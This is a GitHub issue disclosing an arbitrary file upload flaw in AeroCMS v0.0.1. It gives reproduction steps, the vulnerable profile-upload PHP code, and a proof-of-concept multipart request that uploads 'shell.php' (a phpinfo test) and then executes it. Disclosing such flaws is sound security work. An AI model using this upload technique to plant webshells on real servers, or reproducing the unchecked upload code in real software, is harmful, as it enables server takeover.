

New issue

[Jump to bottom](#)

# An arbitrary file upload vulnerability was found #3

🔍 Open Zoe0427 opened this issue on Aug 10 · 0 comments

Zoe0427 commented on Aug 10 • edited ▼

Hello I want to report an arbitrary file upload vulnerability that I found in AeroCms v0.0.1, through which we can upload webshell and control the web server.

## Step to Reproduct

After entering the background of website management, click "Profile" to enter the interface of "/admin/profile. PHP", and you can see that the function of uploading pictures exists.

AeroCMS

Dashboard

Posts

Categories

Comments

Users

Profile

## Welcome to the Admin Panel, admin!

**Username**

admin

**Password**

.....

**Firstname**

**Lastname**

**Email**

admin@example.net

**Image**

浏览... 未选择文件.

Admin

Update Profile

We create a new webshell file and name it shell.php :

```
<?php phpinfo(); ?>
```

Next, we select the file and click "Update Profile" to upload the file

AeroCMS

Dashboard

Posts ▾

Categories

Comments

Users ▾

Profile **1**

## Welcome to the Admin Panel, admin!

**Username**

admin

**Password**

.....

**Firstname**

**Lastname**

**Email**

admin@example.net

**Image**

浏览... shell.php **2**

Subscriber

Update Profile **3**

When upload success access '/images/shell.php'



PHP Version 5.6.30-0+deb8u1

System	Linux edb57692a3e5 5.4.0-42-generic #46~18.04.1-Ubuntu SMP Fri Jul 10 07:21:24 UTC 2020 x86_64
Build Date	Feb 8 2017 08:50:48
Server API	Apache 2.0 Handler
Virtual Directory Support	disabled
Configuration File (php.ini) Path	/etc/php5/apache2
Loaded Configuration File	/etc/php5/apache2/php.ini
Scan this dir for additional .ini files	/etc/php5/apache2/conf.d
Additional .ini files parsed	/etc/php5/apache2/conf.d/05-opcache.ini, /etc/php5/apache2/conf.d/10-pdo.ini, /etc/php5/apache2/conf.d/20-apcu.ini, /etc/php5/apache2/conf.d/20-curl.ini, /etc/php5/apache2/conf.d/20-gd.ini, /etc/php5/apache2/conf.d/20-intl.ini, /etc/php5/apache2/conf.d/20-json.ini, /etc/php5/apache2/conf.d/20-mcrypt.ini, /etc/php5/apache2/conf.d/20-mysql.ini, /etc/php5/apache2/conf.d/20-mysqli.ini, /etc/php5/apache2/conf.d/20-pdo_mysql.ini, /etc/php5/apache2/conf.d/20-readline.ini, /etc/php5/apache2/conf.d/20-xsl.ini
PHP API	20131106
PHP Extension	20131226
Zend Extension	220131226
Zend Extension Build	API220131226,NTS
PHP Extension Build	API20131226,NTS
Debug Build	no
Thread Safety	disabled
Zend Signal Handling	disabled
Zend Memory Manager	enabled
Zend Multibyte Support	provided by mbstring
IPv6 Support	enabled
DTrace Support	enabled
Registered PHP Streams	https, ftps, compress.zlib, compress.bzip2, php, file, glob, data, http, ftp, phar, zip
Registered Stream Socket Transports	tcp, udp, unix, udg, ssl, sslv3, tls, tlsv1.0, tlsv1.1, tlsv1.2
Registered Stream Filters	zlib.*, bzip2.*, convert.iconv.*, string.rot13, string.toupper, string.tolower, string.strip_tags, convert.*, consumed, dechunk, mcrypt.*, mdecrypt.*

This program makes use of the Zend Scripting Language Engine:  
Zend Engine v2.6.0, Copyright (c) 1998-2016 Zend Technologies  
with Zend OPcache v7.0.6-dev, Copyright (c) 1999-2016, by Zend Technologies

## Confiagation

We can see that the file was successfully uploaded and executed

## Vulnerable Code

```
27 <?php
28
29 if(isset($_POST['update_user']))
30 {
31     $username = mysqli_real_escape_string($connection, trim($_POST['username']));
32     $password = mysqli_real_escape_string($connection, trim($_POST['password']));
33     $user_firstname = mysqli_real_escape_string($connection, trim($_POST['user_firstname']));
34     $user_lastname = mysqli_real_escape_string($connection, trim($_POST['user_lastname']));
35     $user_email = mysqli_real_escape_string($connection, trim($_POST['user_email']));
36     $user_role = mysqli_real_escape_string($connection, trim($_POST['user_role']));
37
38     $user_image = $_FILES['user_image']['name'];
39     $user_image_tmp = $_FILES['user_image']['tmp_name'];
40
41     move_uploaded_file($user_image_tmp, "../images/$user_image");
42
43     if(empty($user_image))
44     {
45         $query = "SELECT * FROM users WHERE username = '$session_username'";
46         $select_image = mysqli_query($connection, $query);
47
48         while($row = mysqli_fetch_array($select_image))
49         {
50             $user_image = $row['user_image'];
51         }
52     }
53
54     $update_user_profile_query = "UPDATE users SET password = '$password', user_firstname = '$user_firs
55                                 user_lastname = '$user_lastname', user_email = '$user_email', user_rol
56                                 username = '$username', user_image = '$user_image' WHERE username = '$
57
58     $result = mysqli_query($connection, $update_user_profile_query);
59
60     echo mysqli_error($connection);
61 }
```

No file checking before uploading

## POC

### Injection Point

-----423983190532431556521178267050

Content-Disposition: form-data; name="user\_image"; filename="shell.php"

Content-Type: image/jpeg

### Request

POST /admin/profile.php HTTP/1.1  
Host: 127.0.0.1:8080  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data; boundary=-----  
-423983190532431556521178267050  
Content-Length: 1109  
Origin: <http://127.0.0.1:8080>  
Connection: close  
Referer: <http://127.0.0.1:8080/admin/profile.php>  
Cookie: PHPSESSID=dh3hq98sqsj0eapgn43efegfb3  
Upgrade-Insecure-Requests: 1

-----423983190532431556521178267050

Content-Disposition: form-data; name="username"

1111

-----423983190532431556521178267050

Content-Disposition: form-data; name="password"

123.com

-----423983190532431556521178267050

Content-Disposition: form-data; name="user\_firstname"

-----423983190532431556521178267050

Content-Disposition: form-data; name="user\_lastname"

-----423983190532431556521178267050

Content-Disposition: form-data; name="user\_email"

-----423983190532431556521178267050

Content-Disposition: form-data; name="user\_image"; filename="shell.php"

Content-Type: image/jpeg

test is test

<?php phpinfo();?>

-----423983190532431556521178267050

Content-Disposition: form-data; name="user\_role"

Subscriber

-----423983190532431556521178267050

Content-Disposition: form-data; name="update\_user"

Update Profile

-----423983190532431556521178267050--

## response

HTTP/1.1 200 OK  
Date: Wed, 10 Aug 2022 02:45:01 GMT  
Server: Apache/2.4.10 (Debian)  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
Pragma: no-cache  
Vary: Accept-Encoding  
Content-Length: 8474  
Connection: close  
Content-Type: text/html; charset=UTF-8

```
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<meta name="author" content="">

<title>AeroCMS Admin Panel</title>

<!-- Bootstrap Core CSS -->
<link href="css/bootstrap.min.css" rel="stylesheet">

<!-- Custom CSS -->
<link href="css/sb-admin.css" rel="stylesheet">

<!-- Custom Fonts -->
<link href="font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css">

<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
    <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
    <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->

<link rel="stylesheet" href="css/styles.css">

<script type="text/javascript" src="https://www.gstatic.com/charts/loader.js"></script>

<script src="https://cloud.tinymce.com/stable/tinymce.min.js"></script>

<script src="js/jquery.js"></script>

<div id="wrapper">

    <!-- Navigation -->
    <nav class="navbar navbar-inverse navbar-fixed-top" role="navigation">
        <!-- Brand and toggle get grouped for better mobile display -->
        <div class="navbar-header">
```

```

        <button type="button" class="navbar-toggle" data-toggle="collapse" data-
target=".navbar-ex1-collapse">
            <span class="sr-only">Toggle navigation</span>
            <span class="icon-bar"></span>
            <span class="icon-bar"></span>
            <span class="icon-bar"></span>
        </button>
        <a class="navbar-brand" href="index.php">AeroCMS</a>
    </div>
    <!-- Top Menu Items -->
    <ul class="nav navbar-right top-nav">
        <!-- <li><a href='#>Users Online: </a></li> -->
        <li><a href='#>Users Online: <span class="useronline"></span></a></li>
        <li><a href=" ../index.php">View Site</a></li>

        <li class="dropdown">
            <a href="#" class="dropdown-toggle" data-toggle="dropdown"><i class="fa fa-
user"></i> <b class="caret"></b></a>
            <ul class="dropdown-menu">
                <li>
                    <a href="#"><i class="fa fa-fw fa-user"></i> Profile</a>
                </li>
                <li class="divider"></li>
                <li>
                    <a href=" ../includes/logout.php"><i class="fa fa-fw fa-power-off">
</i> Log Out</a>
                </li>
            </ul>
        </li>
    </ul>
    <!-- Sidebar Menu Items - These collapse to the responsive navigation menu on small
screens -->
    <div class="collapse navbar-collapse navbar-ex1-collapse">
        <ul class="nav navbar-nav side-nav">
            <li>
                <a href="index.php"><i class="fa fa-fw fa-dashboard"></i> Dashboard</a>
            </li>

            <li>
                <a href="javascript:;" data-toggle="collapse" data-
target="#posts_dropdown"><i class="fa fa-fw fa-arrows-v"></i> Posts <i class="fa fa-fw fa-
caret-down"></i></a>
                <ul id="posts_dropdown" class="collapse">
                    <li>
                        <a href=" ../posts.php">View All Posts</a>
                    </li>
                    <li>
                        <a href=" ../posts.php?source=add_post">Add Posts</a>
                    </li>
                </ul>
            </li>

            <li>
                <a href=" ../categories.php"><i class="fa fa-fw fa-wrench"></i>
Categories</a>
            </li>

```



```

        <li>
            <a href="./comments.php"><i class="fa fa-fw fa-file"></i> Comments</a>
        </li>
        <li>
            <a href="javascript:;" data-toggle="collapse" data-target="#users"><i
class="fa fa-fw fa-arrows-v"></i> Users <i class="fa fa-fw fa-caret-down"></i></a>
            <ul id="users" class="collapse">
                <li>
                    <a href="./users.php">View All Users</a>
                </li>
                <li>
                    <a href="./users.php?source=add_user">Add User</a>
                </li>
            </ul>
        </li>
        <li>
            <a href="./profile.php"><i class="fa fa-fw fa-file"></i> Profile</a>
        </li>
    </ul>
</div>
<!-- /.navbar-collapse -->
</nav>

<div id="page-wrapper">

    <div class="container-fluid">

        <!-- Page Heading -->
        <div class="row">
            <div class="col-lg-12">
                <h1 class="page-header">
                    Welcome to the Admin Panel,
                    <small>!</small>
                </h1>

                <form action="" method="post" enctype="multipart/form-data">

                    <div class="form-group">
                        <label for="username">Username</label>
                        <input type="text" name="username" value="1111" class="form-
control">

                    </div>

                    <div class="form-group">
                        <label for="password">Password</label>
                        <input type="password" name="password" value="123.com"
class="form-control">

                    </div>

                    <div class="form-group">
                        <label for="user_firstname">Firstname</label>
                        <input type="text" name="user_firstname" value="" class="form-
control">

                    </div>

```

```

        <div class="form-group">
            <label for="user_lastname">Lastname</label>
            <input type="text" name="user_lastname" value="" class="form-
control">

        </div>

        <div class="form-group">
            <label for="user_email">Email</label>
            <input type="email" name="user_email" value="" class="form-
control">

        </div>

        <div class="form-group">
            <label for="user_image">Image</label>
            

            <input type="file" name="user_image" class="form-control">
        </div>

        <div class="form-group">
            <select name="user_role" class="form-control">
                <option value="Subscriber">Subscriber</option>

                <option value='Admin'>Admin</option>

            </select>

        </div>

        <div class="form-group">
            <input type="submit" value="Update Profile" name="update_user"
class="btn btn-primary">
        </div>

    </form>

</div>
</div>
<!-- /.row -->

</div>
<!-- /.container-fluid -->

</div>
<!-- /#page-wrapper -->

</div>
<!-- /#wrapper -->

```

```
<script src="js/scripts.js"></script>
```

I hope you can fix this vulnerability as soon as possible. I will report this vulnerability to CVE. Looking forward to your reply

Assignees

No one assigned

---

Labels

None yet

---

Projects

None yet

---

Milestone

No milestone

---

Development

No branches or pull requests

---

1 participant

